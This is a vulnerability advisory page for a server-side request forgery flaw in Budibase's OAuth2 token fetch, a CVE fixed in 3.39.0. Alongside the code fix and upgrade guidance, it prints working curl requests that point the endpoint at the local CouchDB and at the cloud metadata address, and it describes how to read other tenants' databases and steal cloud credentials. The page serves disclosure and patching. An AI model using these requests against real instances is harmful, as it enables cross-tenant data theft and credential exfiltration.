CVE-2026-48153: Budibase: SSRF via OAuth2 token endpoint URL reaches internal hosts and cloud metadata

Published May 27, 2026
·
Updated

Summary

fetchToken in the OAuth2 SDK makes a POST to a builder-supplied URL with plain node-fetch, skipping the blacklist.isBlacklisted check that every other outbound fetch path in the codebase uses. The Joi schema for the OAuth2 URL has no scheme or host restriction. Alice, a builder, points an OAuth2 config at http://169.254.169.254/... or http://127.0.0.1:5984/; the server connects and returns response-body fragments in the validation result.

Details

packages/server/src/sdk/workspace/oauth2/utils.ts:17-65 defines fetchToken. Near the end:

typescript const resp = await fetch(config.url, fetchConfig)

config.url is whatever the builder stored. fetchConfig has redirect: "follow" (the default), so a public URL that returns 302 to an internal target is also reachable.

The route validation at packages/server/src/api/routes/oauth2.ts:9 accepts any string:

typescript url: Joi.string().required(),

The controller passes the URL into fetchToken through crud.ts. The /api/oauth2/validate endpoint (builder role) is the most direct attack path: it lives on builderRoutes, takes the URL from the body, fires the fetch, and returns a validation envelope that includes the upstream error string.

Compare with every other outbound fetch in the codebase:

- packages/server/src/integrations/rest.ts:754 calls blacklist.isBlacklisted(url) before its fetch (though it does not re-check redirects; see companion advisory for REST-redirect SSRF). - packages/backend-core/src/utils/outboundFetch.ts:98-100 sets redirect: "manual" and re-validates each hop. - packages/server/src/automations/steps/outgoingWebhook.ts routes through fetchWithBlacklist.

The default blacklist blocks 127.0.0.0/8, 169.254.0.0/16, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16 (packages/backend-core/src/blacklist/blacklist.ts:6-16). The OAuth2 path never consults it.

Proof of Concept

Tested against Budibase 3.35.8 (built from master at f960e361).

Step 1: Alice, a builder, POSTs an OAuth2 config pointed at CouchDB on the same host as Budibase:

bash curl -sS -b "$BUILDERCOOKIE" -X POST "$BASE/api/oauth2/validate" \ -H "Content-Type: application/json" \ -d '{"url":"http://127.0.0.1:5984/","clientId":"t","clientSecret":"t", "method":"BODY","grantType":"clientcredentials"}'

Server response:

json {"valid":false,"message":"Method Not Allowed"}

Budibase reached CouchDB (which rejects POST at / with 405). Without the blacklist bypass this request would be blocked at the IP check.

Step 2: Probe the cloud metadata range:

bash curl -sS -b "$BUILDERCOOKIE" -X POST "$BASE/api/oauth2/validate" \ -H "Content-Type: application/json" \ -d '{"url":"http://169.254.169.254/latest/meta-data/","clientId":"t","clientSecret":"t","method":"BODY","grantType":"clientcredentials"}'

Server response:

json {"valid":false,"message":"invalid json response body at http://169.254.169.254/latest/meta-data/ reason: Unexpected token 'N', \"Not Found\" is not valid JSON"}

The "Not Found" substring is the upstream body; the server reached the link-local metadata endpoint and leaked the first bytes of the response into the validation error.

Impact

Two concrete paths, both reachable from any builder account (free-tier signup on Budibase Cloud is enough):

1. Cross-tenant data read on Cloud. Budibase Cloud multi-tenants on a shared CouchDB; each tenant gets its own <tenantId>global-db and app<id> databases on the same port 5984. The blacklist is what keeps a builder from talking to CouchDB directly. With that bypassed, Alice can GET http://127.0.0.1:5984/alldbs via a 302 redirector and enumerate every other tenant's databases, then read their users, app definitions, and datasource configs (which include third-party credentials). None of this traffic goes through Budibase's tenant isolation layer, so standard app-level access controls do not apply. 2. IAM credential exfiltration. Alice points the URL at http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>/ and receives the instance role credentials in the validation error path. Those credentials carry whatever AWS permissions the Budibase instance role holds.

Self-hosted deployments face the same CouchDB/Redis/MinIO access plus any other service reachable on the host or pod network. The blacklist was explicitly added to prevent exactly this, and every other outbound fetch path uses it.

Recommended Fix

Call blacklist.isBlacklisted before the fetch and set redirect: "manual" on fetchConfig, matching the pattern in outboundFetch.ts:

typescript import { blacklist } from "@budibase/backend-core"

async function fetchToken(config: { url: string; / ... / }) { config = await processEnvironmentVariable(config) if (await blacklist.isBlacklisted(config.url)) { throw new Error("OAuth2 token URL is blocked.") } const fetchConfig: RequestInit = { method: "POST", headers: { "Content-Type": "application/x-www-form-urlencoded" }, body: new URLSearchParams({ granttype: "clientcredentials" }), redirect: "manual", } // ... }

Alternatively, replace the fetch call with fetchWithBlacklist, which handles both checks and re-validates redirect targets.

--- Found by aisafe.io

Other sources

Budibase is an open-source low-code platform. Prior to 3.39.0, fetchToken in the OAuth2 SDK makes a POST to a builder-supplied URL with plain node-fetch, skipping the blacklist.isBlacklisted check that every other outbound fetch path in the codebase uses. The Joi schema for the OAuth2 URL has no scheme or host restriction. This vulnerability is fixed in 3.39.0.

NVD

Affected Software

2 affected componentsFixes available
budibase Budibase<3.39.0
npm/@budibase/server<3.39.0
3.39.0

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade npm/@budibase/server to a version that resolves this vulnerability.

    Fixed in 3.39.0
  2. Upgrade

    Upgrade Budibase to a version that resolves this vulnerability.

    Fixed in 3.39.0
  3. Configuration

    Ensure the OAuth2 token endpoint fetch uses `redirect: "manual"` (instead of the default `redirect: "follow"`) so redirect targets are not automatically followed to internal hosts/metadata endpoints; match the `fetchConfig` pattern shown in `packages/backend-core/src/utils/outboundFetch.ts`.

    Budibase OAuth2 token endpoint validation redirect = manual
  4. Configuration

    Restore/ensure a blacklist check (`blacklist.isBlacklisted(config.url)`) in the OAuth2 token fetch path (`fetchToken` in `packages/server/src/sdk/workspace/oauth2/utils.ts:17-65`) before calling `fetch(config.url, fetchConfig)`, so builder-supplied token URLs such as `169.254.0.0/16` and `127.0.0.0/8` are blocked.

    Budibase OAuth2 token fetch blacklist.isBlacklisted(url) = enforced

Event History

May 27, 2026
CVE Published
via MITRE·04:52 PM
Data Sourced
via MITRE·04:52 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·06:16 PM
DescriptionSeverityWeakness
Jun 22, 2026
Advisory Published
via GitHub·10:45 PM
Data Sourced
via GitHub·10:45 PM
DescriptionSeverityWeaknessAffected Software
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2026-48153?

The severity of CVE-2026-48153 is rated high with a CVSS score of 8.5.

2

How do I fix CVE-2026-48153?

To fix CVE-2026-48153, upgrade Budibase to version 3.39.0 or later.

3

What type of vulnerability is CVE-2026-48153?

CVE-2026-48153 is a Server-Side Request Forgery (SSRF) vulnerability.

4

What does CVE-2026-48153 affect?

CVE-2026-48153 affects the Budibase platform prior to version 3.39.0.

5

What can an attacker achieve with CVE-2026-48153?

An attacker exploiting CVE-2026-48153 can send requests to internal hosts or cloud metadata from the Budibase application.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203